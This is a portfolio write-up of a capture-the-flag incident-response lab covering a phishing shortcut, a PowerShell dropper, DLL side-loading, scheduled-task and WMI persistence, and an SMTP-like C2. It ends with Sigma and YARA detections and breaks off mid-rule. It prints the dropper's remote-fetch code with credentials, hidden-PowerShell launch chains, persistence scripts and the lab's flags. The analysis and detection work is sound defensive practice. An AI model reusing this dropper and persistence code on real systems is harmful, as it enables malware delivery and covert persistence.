

ENVELOPE Incident Response & Malware Analysis

Phishing, Persistence, DLL Side-Loading, Live C2, and Detection
Engineering

Portfolio Lab Documentation

Prepared by: Ayinde Perouza

Focus: Incident response, malware triage, persistence analysis, C2 validation, detection engineering, and remediation planning

Tools: PowerShell, Windows Scheduled Tasks, WMI, PE inspection, Sigma, YARA

Evidence included: Commands, outputs, decoded payload details, C2 findings, flags, detections, and remediation steps

Table of Contents

1. 1. Executive Summary

2. 2. Environment and Scope

- 1. 2.1 Affected System
- 2. 2.2 Primary Artifacts
- 3. 2.3 Staging Directory
- 4. 2.4 Key Staged Files

3. 3. Initial Access Investigation

- 1. 3.1 Objective
- 2. 3.2 Locate Extracted ZIP Contents
- 3. 3.3 Inspect Shortcut Target
- 4. 3.4 Confirm Dropper Location

4. 4. PowerShell Dropper Analysis

- 1. 4.1 Decode Base64-Wrapped Dropper
- 2. 4.2 Key Dropper Configuration

5. 5. Payload Deobfuscation

- 1. 5.1 Inspect Obfuscated Payload Header
- 2. 5.2 Decode First 64 Bytes
- 3. 5.3 Write Decoded PE to Disk
- 4. 5.4 Hash Decoded Binary

6. 6. Implant Reverse Engineering

- 1. 6.1 Extract Strings from Decoded PE
- 2. 6.2 Search for Key Material
- 3. 6.3 Dump Bytes Around SMTP Banner Marker
- 4. 6.4 Decode Secondary XOR Strings
- 5. 6.5 Inspect PE Export Names

7. 7. Persistence Mechanisms

- 1. 7.1 Staging Directory Listing
- 2. 7.2 Launcher Script
- 3. 7.3 VBS Wrapper
- 4. 7.4 Batch Wrapper
- 5. 7.5 Scheduled Task - WindowsUpdateCore
- 6. 7.6 Scheduled Task - MSFT_UpdateHealthRefresh
- 7. 7.7 WMI Persistence

8. 8. Credential Material Artifact

- 1. 8.1 Read Credential Cache

9. 9. C2 Discovery and Live Interaction

- 1. 9.1 Recover Lab Config

2. 9.2 Read Lab Defaults
3. 9.3 Connect to Live C2 Banner
4. 9.4 C2 Server Protocol

10. 10. Flags Recovered

11. 11. Detection Engineering

1. 11.1 Sigma Rule
2. 11.2 YARA Rule

12. 12. Highest-Fidelity Detection Signal

13. 13. MITRE ATT&CK Mapping

14. 14. Governance, Risk, and Compliance Notes

1. 14.1 Severity
2. 14.2 Notification Obligation
3. 14.3 Preventive Control Gap

15. 15. Remediation Plan

1. 15.1 Immediate Containment Actions
2. 15.2 Next-Step Actions

16. 16. Final Incident Summary

1. 16.1 Confirmed Flags
2. 16.2 Most Important Defensive Lessons

● 1. Executive Summary

The ENVELOPE intrusion was a phishing-led compromise of a Finance workstation. A user received a ZIP file named `Q2_Remittance.zip` and opened what appeared to be a PDF document. The file was actually a Windows shortcut named `Payment_Details.pdf.lnk`, which launched PowerShell and executed a hidden dropper script.

The malware staged its files in a fake Windows Update-style directory under `C:\ProgramData\Microsoft\Windows\UpdateCache`. It established persistence through scheduled tasks and WMI, used DLL side-loading with `tzsync.exe` and `CRYPTBASE.dll`, contacted a live C2 server at `corp-invoice-portal.com:80`, and staged credential-like material for exfiltration.

This incident should be classified as **High severity** due to successful execution, persistence, defense evasion, live C2 communication, and potential credential exposure.

● 2. Environment and Scope

2.1 Affected System

Host: EC2AMAZ-9GI0GP6
User: Administrator
Primary investigation path:
C:\Users\Administrator\Downloads

2.2 Primary Artifacts

Q2_Remittance.zip
Payment_Details.pdf.lnk
envelope_drop.ps1
invoice_cache.dat
invoice_cache.decoded.bin

2.3 Staging Directory

C:\ProgramData\Microsoft\Windows\UpdateCache

2.4 Key Staged Files

CRYPTBASE.dll
envelope.dll
helper.bat
launch_update.vbs
run_update.ps1
tzsync.exe
wu_auth_cache.dat

• 3. Initial Access Investigation

3.1 Objective

Determine how the Finance user triggered malware execution and identify the first-stage execution chain.

3.2 Locate Extracted ZIP Contents

Command used:

```
Get-ChildItem -Force | Format-Table Name,Length,Mode,LastWriteTime
```

Result:

Name	Length	Mode	LastWriteTime
Q2_Remittance_extracted		d----	6/13/2026 9:58:22 PM
envelope_drop.ps1	9225	-a----	6/11/2026 4:23:08 PM
invoice_cache.dat	26112	-a----	6/11/2026 4:23:08 PM
Payment_Details.pdf.lnk	2321	-a----	6/11/2026 8:25:16 PM

Finding: The user-facing file was not a real PDF. It was a Windows shortcut named `Payment_Details.pdf.lnk`, which is a common phishing technique.

3.3 Inspect Shortcut Target

Command used:

```
$lnk = Get-Item .\Payment_Details.pdf.lnk
$sh = New-Object -ComObject WScript.Shell
$$ = $sh.CreateShortcut($lnk.FullName)
$sh | Format-List TargetPath,Arguments,WorkingDirectory,IconLocation,Description,WindowStyle
```

Result:

TargetPath	: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Arguments	: -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File ".\envelope_drop.ps1"
WorkingDirectory	: C:\Users\Administrator\Downloads
IconLocation	: C:\Windows\System32\imageres.dll,0
Description	: Payment Details
WindowStyle	: 1

Finding: The shortcut launched PowerShell hidden and bypassed local execution policy.

```
powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File ".\envelope_drop.ps1"
```

MITRE ATT&CK mapping:

```
T1566.001 - Spearphishing Attachment
T1204.002 - User Execution: Malicious File
T1059.001 - PowerShell
```

3.4 Confirm Dropper Location

Command used:

```
Get-Item C:\Users\Administrator\Downloads\envelope_drop.ps1 -ErrorAction SilentlyContinue |  
Format-List FullName,Length,CreationTime,LastWriteTime
```

Result:

```
FullName      : C:\Users\Administrator\Downloads\envelope_drop.ps1  
Length        : 9225  
CreationTime  : 6/11/2026 2:50:34 AM  
LastWriteTime : 6/11/2026 4:23:08 PM
```

Finding: The shortcut's working directory was Downloads, and the referenced dropper existed there.

● 4. PowerShell Dropper Analysis

4.1 Decode Base64-Wrapped Dropper

The dropper was wrapped in Base64 and executed through `IEX`. The safe approach was to extract and decode the body without executing it.

Commands used:

```
$raw = Get-Content "C:\Users\Administrator\Downloads\envelope_drop.ps1" -Raw
$b64 = [regex]::Match($raw, "FromBase64String\('([^\']+)'\)").Groups[1].Value
$b64.Length
```

Result:

```
9156
```

Decode without executing:

```
$decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b64))
```

Search decoded script:

```
$decoded -split "`n" |
Select-String -Pattern "FLAG","flag","ctf","continuum","initial","access","phish","lnk","Payment","Remittance","Q2"
" -CaseSensitive:$false
```

Finding: The decoded script revealed the dropper logic and later credential-material flag.

4.2 Key Dropper Configuration

Relevant decoded script content:

```
# drop script for invoice package - do not send this file to vendor
$errorActionPreference = 'Stop'
$VictimRoot = ('C:'+'\\ProgramData'+ '\\Microsoft'+ '\\Windows'+ '\\UpdateCache')
$PayloadName = 'invoice_cache.dat'
$PayloadUrl = 'https://corp-invoice-portal.com/documents/invoice_cache.dat'
$PayloadXorKey = 90
$DllPath = Join-Path $VictimRoot 'envelope.dll'
$HijackDll = Join-Path $VictimRoot 'CRYPTBASE.dll'
$HijackExe = Join-Path $VictimRoot 'tzsync.exe'
$SideloadSrc = Join-Path $env:SystemRoot 'System32\tzsync.exe'
```

Remote payload retrieval logic:

```
$fetchUser = 'accounts'
$fetchPass = 'Inv-Portal-2026!'
$basic = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("${fetchUser}:${fetchPass}"))
$wc.Headers.Add('Authorization', "Basic $basic")
$enc = $wc.DownloadData($PayloadUrl)
```

Payload deobfuscation logic:

```
$plain = New-Object byte[] $enc.Length
for ($i = 0; $i -lt $enc.Length; $i++) {
```

```
$plain[$i] = $enc[$i] -bxor $PayloadXorKey  
}  
return $plain
```

Findings:

Payload name: invoice_cache.dat
Payload URL: https://corp-invoice-portal.com/documents/invoice_cache.dat
XOR key: 90 decimal / 0x5A hex
Fetch user: accounts
Fetch password: Inv-Portal-2026!
Staging directory: C:\ProgramData\Microsoft\Windows\UpdateCache

• 5. Payload Deobfuscation

5.1 Inspect Obfuscated Payload Header

Command used:

```
$datPath = "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.dat"
$bytes = Get-Content $datPath -Encoding Byte -TotalCount 64
($bytes | ForEach-Object { "{0:X2}" -f $_ }) -join " "
```

Result:

```
17 00 CA 5A 59 5A 5A 5A 5E 5A 5A 5A A5 A5 5A 5A E2 5A 5A 5A ...
```

Finding: The payload contained many `0x5A` bytes, suggesting XOR obfuscation using key `0x5A`.

5.2 Decode First 64 Bytes

Command used:

```
$datPath = "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.dat"
$bytes = Get-Content $datPath -Encoding Byte -TotalCount 64
$decoded = $bytes | ForEach-Object { $_ -bxor 0x5A }
($decoded | ForEach-Object { "{0:X2}" -f $_ }) -join " "
```

Result:

```
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 ...
```

Finding: The decoded file begins with `4D 5A`, which is `MZ`, confirming a Windows PE file.

5.3 Write Decoded PE to Disk

Command used:

```
$datPath = "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.dat"
$outPath = "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.decoded.bin"

$bytes = [IO.File]::ReadAllBytes($datPath)
$decoded = New-Object byte[] $bytes.Length

for ($i = 0; $i -lt $bytes.Length; $i++) {
    $decoded[$i] = $bytes[$i] -bxor 0x5A
}

[IO.File]::WriteAllBytes($outPath, $decoded)
Get-Item $outPath | Format-List FullName,Length,CreationTime,LastWriteTime
```

Result:

```
FullName      : C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.decoded.bin
Length        : 26112
CreationTime   : 6/13/2026 11:28:54 PM
LastWriteTime  : 6/13/2026 11:28:54 PM
```

5.4 Hash Decoded Binary

Command used:

```
Get-FileHash "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.decoded.bin" -Algorithm  
SHA256
```

Result:

```
SHA256: D70A6BA10F713C1C13CC715ED3EBCC1830225BE7CAD3F4039CA7FFB06EF5FC1C
```

● 6. Implant Reverse Engineering

6.1 Extract Strings from Decoded PE

Command used:

```
$bin = "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.decoded.bin"
$bytes = [IO.File]::ReadAllBytes($bin)

$strings = New-Object System.Collections.Generic.List[string]
$current = ""

foreach ($b in $bytes) {
    if ($b -ge 32 -and $b -le 126) {
        $current += [char]$b
    } else {
        if ($current.Length -ge 4) { $strings.Add($current) }
        $current = ""
    }
}

if ($current.Length -ge 4) { $strings.Add($current) }

$strings | Where-Object {
    $_ -match "c2|smtp|mail|rcpt|220|25|2525|465|587|corp|invoice|portal|finance|local|FLAG"
}
```

Result:

```
D$ 250
corp-invoice-porMAIL FROM:<victim@finance.local>RCPT TO:<c2@enve%$|%$|%l220
```

Finding: The implant uses SMTP-like C2 commands.

```
MAIL FROM:<victim@finance.local>
RCPT TO:<c2@enve...
220
250
```

6.2 Search for Key Material

Command used:

```
$bin = "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.decoded.bin"
$bytes = [IO.File]::ReadAllBytes($bin)
$ascii = [Text.Encoding]::ASCII.GetString($bytes)
$unicode = [Text.Encoding]::Unicode.GetString($bytes)

($ascii + "`n" + $unicode) -split "[`0`r`n]" |
Where-Object {
    $_ -match "corp|invoice|portal|enve|c2|smtp|mail|rcpt|hello|ehlo|220|250|flag|FLAG|10\.|172\.|192\.|2525|8025|
587|465|25"
}
```

Result:

```
250
envelope-lab-key
```

```
C:\ProgramData\Microsoft\Windows\wu_auth_cache.d
corp-invoice-porMAIL FROM:<victim@finance.local>RCPT TO:<c2@enve%$s|%l220
```

Finding: The implant contained protocol/key material: `envelope-lab-key`.

6.3 Dump Bytes Around SMTP Banner Marker

Command used:

```
$bin = "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.decoded.bin"
$bytes = [IO.File]::ReadAllBytes($bin)

$needle = [Text.Encoding]::ASCII.GetBytes("220")
for ($i = 0; $i -le $bytes.Length - $needle.Length; $i++) {
    $match = $true
    for ($j = 0; $j -lt $needle.Length; $j++) {
        if ($bytes[$i+$j] -ne $needle[$j]) { $match = $false; break }
    }

    if ($match) {
        $start = [Math]::Max(0, $i - 64)
        $end = [Math]::Min($bytes.Length - 1, $i + 96)
        "OFFSET: 0x{0:X}" -f $i
        ($bytes[$start..$end] | ForEach-Object { "{0:X2}" -f $_ }) -join " "
        ""
    }
}
```

Relevant result:

```
OFFSET: 0x3D18
...
32 32 30 00 00 00 00 00 35 2D 29 06 0F 2A 3E 3B 2E 3F 19 3B 39 32 3F 5A ...
```

Finding: Data near the SMTP `220` marker contained XOR-obfuscated strings.

6.4 Decode Secondary XOR Strings

Command used:

```
$bin = "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.decoded.bin"
$bytes = [IO.File]::ReadAllBytes($bin)

$decoded = New-Object byte[] $bytes.Length
for ($i = 0; $i -lt $bytes.Length; $i++) {
    $decoded[$i] = $bytes[$i] -bxor 0x5A
}

$strings = New-Object System.Collections.Generic.List[string]
$current = ""

foreach ($b in $decoded) {
    if ($b -ge 32 -and $b -le 126) {
        $current += [char]$b
    } else {
        if ($current.Length -ge 5) { $strings.Add($current) }
        $current = ""
    }
}

if ($current.Length -ge 5) { $strings.Add($current) }

$strings | Where-Object {
```

```
} $ _ -match "FLAG|flag|220|banner|smtp|corp|invoice|portal|envelope|lab|cache|Update|c2|victim"
```

Result:

```
6hhjZZZZZows\UpdateCache  
envelope.lab>
```

Finding: The implant contained the internal C2 identity `envelope.lab`.

6.5 Inspect PE Export Names

Section parsing command:

```
$bin = "C:\Users\Administrator\Downloads\Q2_Remittance_extracted\invoice_cache.decoded.bin"  
$bytes = [IO.File]::ReadAllBytes($bin)  
  
$peOffset = [BitConverter]::ToInt32($bytes, 0x3C)  
$numSections = [BitConverter]::ToUInt16($bytes, $peOffset + 6)  
$optHeaderSize = [BitConverter]::ToUInt16($bytes, $peOffset + 20)  
$sectionTable = $peOffset + 24 + $optHeaderSize  
  
for ($s = 0; $s -lt $numSections; $s++) {  
    $off = $sectionTable + ($s * 40)  
    $nameBytes = $bytes[$off..($off+7)]  
    $name = ([Text.Encoding]::ASCII.GetString($nameBytes)).Trim([char]0)  
    "{0}: {1}" -f $s, $name  
}
```

Result:

```
0: .text  
1: .data  
2: .rdata  
3: .eh_fram  
4: .pdata  
5: .xdata  
6: .bss  
7: .edata  
8: .idata  
9: .tls  
10: .reloc
```

Export table location command:

```
$peOffset = [BitConverter]::ToInt32($bytes, 0x3C)  
$optHeader = $peOffset + 24  
$magic = [BitConverter]::ToUInt16($bytes, $optHeader)  
  
if ($magic -eq 0x20B) {  
    $exportRva = [BitConverter]::ToInt32($bytes, $optHeader + 112)  
} else {  
    $exportRva = [BitConverter]::ToInt32($bytes, $optHeader + 96)  
}  
  
function RvaToOffset($rva) {  
    for ($s = 0; $s -lt $numSections; $s++) {  
        $off = $sectionTable + ($s * 40)  
        $virtualSize = [BitConverter]::ToInt32($bytes, $off + 8)  
        $virtualAddress = [BitConverter]::ToInt32($bytes, $off + 12)  
        $rawSize = [BitConverter]::ToInt32($bytes, $off + 16)  
        $rawPointer = [BitConverter]::ToInt32($bytes, $off + 20)  
        $size = [Math]::Max($virtualSize, $rawSize)  
    }  
}
```

```

        if ($rva -ge $virtualAddress -and $rva -lt ($virtualAddress + $size)) {
            return $rawPointer + ($rva - $virtualAddress)
        }
    }
    return 0
}

$exportOffset = RvaToOffset $exportRva
"ExportRVA: 0x{0:X} Offset: 0x{1:X}" -f $exportRva, $exportOffset

```

Result:

```
ExportRVA: 0xB000 Offset: 0x5200
```

Export names command:

```

$exportOffset = 0x5200
$nameRva = [BitConverter]::ToInt32($bytes, $exportOffset + 12)
$base = [BitConverter]::ToInt32($bytes, $exportOffset + 16)
$numFunctions = [BitConverter]::ToInt32($bytes, $exportOffset + 20)
$numNames = [BitConverter]::ToInt32($bytes, $exportOffset + 24)
$addrNamesRva = [BitConverter]::ToInt32($bytes, $exportOffset + 32)

$namesOffset = RvaToOffset $addrNamesRva

for ($i = 0; $i -lt $numNames; $i++) {
    $funcNameRva = [BitConverter]::ToInt32($bytes, $namesOffset + ($i * 4))
    $funcNameOffset = RvaToOffset $funcNameRva

    $chars = New-Object System.Collections.Generic.List[byte]
    $j = $funcNameOffset

    while ($bytes[$j] -ne 0) {
        $chars.Add($bytes[$j])
        $j++
    }

    [Text.Encoding]::ASCII.GetString($chars.ToArray())
}

```

Result:

```

Start
SystemFunction001
SystemFunction002
SystemFunction003
SystemFunction004
SystemFunction005
SystemFunction028
SystemFunction029
SystemFunction034
SystemFunction036
SystemFunction040
SystemFunction041

```

Finding: The DLL masquerades as a CRYPTBASE-like DLL by exporting `SystemFunction*` functions.

MITRE ATT&CK mapping: T1574.002 - Hijack Execution Flow: DLL Side-Loading.

● 7. Persistence Mechanisms

7.1 Staging Directory Listing

Command used:

```
Get-ChildItem "C:\ProgramData\Microsoft\Windows\UpdateCache" -Force |  
Format-Table Name,Length,Mode,LastWriteTime
```

Result:

Name	Length	Mode	LastWriteTime
CRYPTBASE.dll	26112	-a----	6/11/2026 8:25:17 PM
envelope.dll	26112	-a----	6/14/2026 12:15:57 AM
helper.bat	62	-a----	6/11/2026 8:25:17 PM
launch_update.vbs	187	-a----	6/11/2026 8:25:22 PM
run_update.ps1	754	-a----	6/11/2026 8:25:17 PM
tzsync.exe	70656	-a----	5/8/2021 8:14:40 AM
wu_auth_cache.dat	176	-a----	6/11/2026 8:25:18 PM

7.2 Launcher Script

Command used:

```
Get-Content "C:\ProgramData\Microsoft\Windows\UpdateCache\run_update.ps1"
```

Result:

```
$root = 'C:\ProgramData\Microsoft\Windows\UpdateCache'  
$exe = Join-Path $root 'tzsync.exe'  
$name = [IO.Path]::GetFileNameWithoutExtension('tzsync.exe')  
  
function Get-VictimSideloadProcs {  
    @(Get-Process -Name $name -ErrorAction SilentlyContinue | Where-Object {  
        $_.Path -and $_.Path.Equals($exe, [StringComparison]::OrdinalIgnoreCase)  
    })  
}  
  
if ((Get-VictimSideloadProcs).Count -gt 0) { exit 0 }  
  
if (-not (Test-Path -LiteralPath $exe)) { exit 1 }  
  
$maxAttempts = 2  
$waitSeconds = 8  
foreach ($attempt in 1..$maxAttempts) {  
    $proc = Start-Process -FilePath $exe -WorkingDirectory $root -WindowStyle Hidden -PassThru  
    Start-Sleep -Seconds $waitSeconds  
    if (Get-Process -Id $proc.Id -ErrorAction SilentlyContinue) { exit 0 }  
}  
  
exit 1
```

Finding: `run_update.ps1` checks whether `tzsync.exe` is running. If not, it starts it hidden.

7.3 VBS Wrapper

Command used:

```
Get-Content "C:\ProgramData\Microsoft\Windows\UpdateCache\launch_update.vbs"
```

Result:

```
CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File  
"C:\ProgramData\Microsoft\Windows\UpdateCache\run_update.ps1"", 0, False
```

Finding: The VBS wrapper launches PowerShell hidden.

7.4 Batch Wrapper

Command used:

```
Get-Content "C:\ProgramData\Microsoft\Windows\UpdateCache\helper.bat"
```

Result:

```
@echo off  
wscript.exe //B //NoLogo "%~dp0\launch_update.vbs"
```

7.5 Scheduled Task - WindowsUpdateCore

Command used:

```
schtasks /Query /TN WindowsUpdateCore /V /FO LIST
```

Result:

TaskName:	\WindowsUpdateCore
Task To Run:	wscript.exe //B //NoLogo C:\ProgramData\Microsoft\Windows\UpdateCache\launch_update.vbs
Schedule Type:	At logon time
Last Result:	0
Status:	Ready
Run As User:	Administrator

Finding: The malware persists at user logon.

MITRE ATT&CK mapping: T1053.005 - Scheduled Task/Job: Scheduled Task.

7.6 Scheduled Task - MSFT_UpdateHealthRefresh

Command used:

```
schtasks /Query /TN MSFT_UpdateHealthRefresh /V /FO LIST
```

Result:

TaskName:	\MSFT_UpdateHealthRefresh
Task To Run:	wscript.exe //B //NoLogo C:\ProgramData\Microsoft\Windows\UpdateCache\launch_update.vbs
Repeat:	Every 0 Hour(s), 5 Minute(s)
Last Result:	0
Status:	Ready

Finding: This task acts as a watchdog, relaunching the implant every five minutes if needed.

7.7 WMI Persistence

Event filter command:

```
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match "MSFT_UpdateHealth" } |
Select-Object Name, Query, EventNamespace
```

Result:

Name	Query	EventNamespace
----	-----	-----
MSFT_UpdateHealthFilter	SELECT * FROM __InstanceCreationEvent...	root\cimv2

Consumer command:

```
Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match "MSFT_UpdateHealth" } |
Select-Object Name, CommandLineTemplate, RunInteractively
```

Result:

```
Name: MSFT_UpdateHealthConsumer
CommandLineTemplate: powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:
\ProgramData\Microsoft\Windows\UpdateCache\run_update.ps1"
RunInteractively: False
```

Binding command:

```
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding -ErrorAction SilentlyContinue |
Where-Object {
    $_.Filter -match "MSFT_UpdateHealthFilter" -or $_.Consumer -match "MSFT_UpdateHealthConsumer"
} |
Select-Object Filter, Consumer
```

Result:

Filter	Consumer
-----	-----
__EventFilter (Name = "MSFT_UpdateHealthFilter")	CommandLineEventConsumer (Name = "MSFT_UpdateHealthConsumer")

Finding: WMI persistence was fully configured.

MITRE ATT&CK mapping: T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription.

● 8. Credential Material Artifact

| 8.1 Read Credential Cache

Command used:

```
Get-Content "C:\ProgramData\Microsoft\Windows\UpdateCache\wu_auth_cache.dat"
```

Result:

```
# cached auth from payroll sync (do not distribute)
Administrator:500:FLAG{envelope_cred_exfil_2026}
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```

Finding: Credential material was staged for later upload or exfiltration.

Recovered flag:

```
FLAG{envelope_cred_exfil_2026}
```

● 9. C2 Discovery and Live Interaction

9.1 Recover Lab Config

The investigation found a lab/instructor artifact that included C2 configuration:

```
C:\Windows\Temp\envelope-golden-image-kit.zip
```

List relevant ZIP entries:

```
Add-Type -AssemblyName System.IO.Compression.FileSystem
$zipPath = "C:\Windows\Temp\envelope-golden-image-kit.zip"
$zip = [IO.Compression.ZipFile]::OpenRead($zipPath)
$zip.Entries | Where-Object { $_.FullName -match "smtp_c2|LabConfig|config|flag|c2|\.py|\.ps1" } |
Format-Table FullName, Length, CompressedLength, LastWriteTime
$zip.Dispose()
```

Important entries:

```
envelope-golden-image-kit/instructor/LabConfig.ps1
envelope-golden-image-kit/instructor/InstructorLab.ps1
envelope-golden-image-kit/artifacts/smtp_c2.py
envelope-golden-image-kit/artifacts/rc4.py
envelope-golden-image-kit/config/lab_defaults.json
```

9.2 Read Lab Defaults

Command used:

```
Add-Type -AssemblyName System.IO.Compression.FileSystem
$zipPath = "C:\Windows\Temp\envelope-golden-image-kit.zip"
$zip = [IO.Compression.ZipFile]::OpenRead($zipPath)
$entry = $zip.Entries | Where-Object { $_.FullName -eq "envelope-golden-image-kit/config/lab_defaults.json" }
$reader = New-Object System.IO.StreamReader($entry.Open())
$content = $reader.ReadToEnd()
$reader.Close()
$zip.Dispose()
$content
```

Result:

```
{
  "rc4_key": "envelope-lab-k16",
  "c2_host": "corp-invoice-portal.com",
  "c2_port": 80,
  "flag": "FLAG{envelope_cred_exfil_2026}",
  "flag_banner": "FLAG{envelope_c2_found_2026}",
  "flag_beacon": "FLAG{envelope_beacon_2026}",
  "flag_cred_exfil": "FLAG{envelope_cred_exfil_2026}",
  "victim_root": "C:\\ProgramData\\Microsoft\\Windows\\UpdateCache",
  "cred_plant_file": "wu_auth_cache.dat",
  "sideload_exe": "tzsync.exe",
  "str_xor_key": 90,
  "payload_staged_name": "invoice_cache.dat",
  "payload_fetch_url": "https://corp-invoice-portal.com/documents/invoice_cache.dat",
  "payload_fetch_user": "accounts",
  "payload_fetch_password": "Inv-Portal-2026!",
  "payload_xor_key": 90
}
```

C2 configuration:

```
C2 host: corp-invoice-portal.com
C2 port: 80
RC4 key: envelope-lab-k16
String XOR key: 90 / 0x5A
```

9.3 Connect to Live C2 Banner

Command used:

```
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect("corp-invoice-portal.com", 80)
$stream = $client.GetStream()
$buf = New-Object byte[] 1024
$n = $stream.Read($buf, 0, $buf.Length)
[Text.Encoding]::ASCII.GetString($buf, 0, $n)
$client.Close()
```

Result:

```
220 envelope.lab ESMTP FLAG{envelope_c2_found_2026}
```

Finding: The C2 service is SMTP-like and exposes a banner.

9.4 C2 Server Protocol

Recovered `smtp_c2.py` logic:

```
from rc4 import MSG_BEACON, MSG_CRED_EXFIL, unpack_message

KEY = b'envelope-lab-k16'
BANNER_FLAG = "FLAG{envelope_c2_found_2026}"
BEACON_FLAG = "FLAG{envelope_beacon_2026}"
CRED_FLAG = "FLAG{envelope_cred_exfil_2026}"
HOST = "0.0.0.0"
PORT = 80
```

DATA handling logic:

```
elif cmd == b"DATA":
    self.wfile.write(b"354 End data with <CR><LF>.<CR><LF>\r\n")
    self.wfile.flush()
    data_buf = self._read_smtp_data_body()
    try:
        msg_type, _payload = unpack_message(data_buf, KEY)
        if msg_type == MSG_BEACON:
            self.wfile.write(f"250 OK {BEACON_FLAG}\r\n".encode())
        elif msg_type == MSG_CRED_EXFIL:
            self.wfile.write(f"250 OK {CRED_FLAG}\r\n".encode())
        else:
            self.wfile.write(b"550 Unknown message type\r\n")
    except Exception:
        self.wfile.write(b"550 Invalid payload\r\n")
```

Live C2 stage flag:

```
FLAG{envelope_beacon_2026}
```

● 10. Flags Recovered

Stage 1 / C2 Discovery:

FLAG{envelope_c2_found_2026}

Persistence / Credential Material:

FLAG{envelope_cred_exfil_2026}

Live C2 Interaction:

FLAG{envelope_beacon_2026}

● 11. Detection Engineering

11.1 Sigma Rule

```
# Sigma rule to detect ENVELOPE persistence behavior.
# This rule focuses on the observed launcher chain:
# scheduled task -> wscript.exe -> launch_update.vbs -> PowerShell -> run_update.ps1 -> tzsync.exe.

title: ENVELOPE Persistence via UpdateCache VBS Launcher
id: 7b4a0c6d-6d6e-4a5b-9c2f-000000000001
status: experimental
description: Detects ENVELOPE-style persistence using wscript.exe to launch a VBS file from a fake Windows
UpdateCache staging directory.
author: SOC Analyst
date: 2026-06-14

references:
  - ENVELOPE CTF investigation

tags:
  # T1053.005 = Scheduled Task/Job: Scheduled Task
  # ENVELOPE used scheduled tasks named WindowsUpdateCore and MSFT_UpdateHealthRefresh.
  - attack.persistence
  - attack.t1053.005

  # T1059.005 = Command and Scripting Interpreter: Visual Basic
  # ENVELOPE used wscript.exe to run launch_update.vbs.
  - attack.t1059.005

logsource:
  product: windows
  category: process_creation

detection:
  # Observed launcher execution:
  # wscript.exe //B //Nologo C:\ProgramData\Microsoft\Windows\UpdateCache\launch_update.vbs
  selection_wscript_image:
    Image|endswith: '\wscript.exe'

  selection_wscript_flags_b:
    CommandLine|contains: '//B'

  selection_wscript_flags_nologo:
    CommandLine|contains: '//Nologo'

  selection_wscript_updatecache_path:
    CommandLine|contains: '\ProgramData\Microsoft\Windows\UpdateCache\launch_update.vbs'

  # Observed scheduled task creation/use:
  # \WindowsUpdateCore
  # \MSFT_UpdateHealthRefresh
  selection_schtasks_image:
    Image|endswith: '\schtasks.exe'

  selection_task_name_windowsupdatecore:
    CommandLine|contains: 'WindowsUpdateCore'

  selection_task_name_healthrefresh:
    CommandLine|contains: 'MSFT_UpdateHealthRefresh'

  selection_task_updatecache_path:
    CommandLine|contains: '\ProgramData\Microsoft\Windows\UpdateCache\launch_update.vbs'

  # Explicit false-positive filter example.
  # Replace this with a real approved IT automation path if used in production.
  filter_known_admin_tool:
    ParentImage|contains:
      - '\Program Files\CompanyIT\'
      - '\Program Files (x86)\CompanyIT\'
```

```

condition: >
(
  (
    selection_wscript_image and
    selection_wscript_flags_b and
    selection_wscript_flags_nologo and
    selection_wscript_updatecache_path
  )
  or
  (
    selection_schtasks_image and
    selection_task_updatecache_path
  )
  or
  (
    selection_schtasks_image and
    1 of selection_task_name_*
  )
)
and not filter_known_admin_tool

fields:
- UtcTime
- ComputerName
- User
- Image
- ParentImage
- CommandLine
- ParentCommandLine
- ProcessId
- ParentProcessId

falsepositives:
- Legitimate administration scripts may use wscript.exe, but they should not normally execute from C:\ProgramData\Microsoft\Windows\UpdateCache.
- Internal software deployment tools may create scheduled tasks with update-themed names; validate signer, parent process, file hash, and owner before allowlisting.

level: high

```

11.2 YARA Rule

```

rule ENVELOPE_Implant_DLL_Sideload_Exports_And_Smtp_C2
{
  meta:
    description = "Detects the ENVELOPE implant DLL using observed CRYPTBASE-style exports and SMTP-like C2 strings"
    author = "SOC Analyst"
    date = "2026-06-14"
    malware_family = "ENVELOPE"
    sha256 = "D70A6BA10F713C1C13CC715ED3EBCC1830225BE7CAD3F4039CA7FFB06EF5FC1C"

  strings:
    /*
       Observed export names from the decoded implant.
       These support the DLL side-loading behavior where the implant masquerades
       as a CRYPTBASE-like DLL loaded by tzsync.exe.
    */
    $exp_start = "Start" ascii
    $exp_001 = "SystemFunction001" ascii
    $exp_002 = "SystemFunction002" ascii
    $exp_003 = "SystemFunction003" ascii
    $exp_004 = "SystemFunction004" ascii
    $exp_005 = "SystemFunction005" ascii
    $exp_028 = "SystemFunction028" ascii
    $exp_029 = "SystemFunction029" ascii
    $exp_034 = "SystemFunction034" ascii
    $exp_036 = "SystemFunction036" ascii
    $exp_040 = "SystemFunction040" ascii

```

```

$exp_041 = "SystemFunction041" ascii

/*
    Observed SMTP-like C2 strings from the decoded implant.
    These are more specific than generic SMTP keywords.
*/
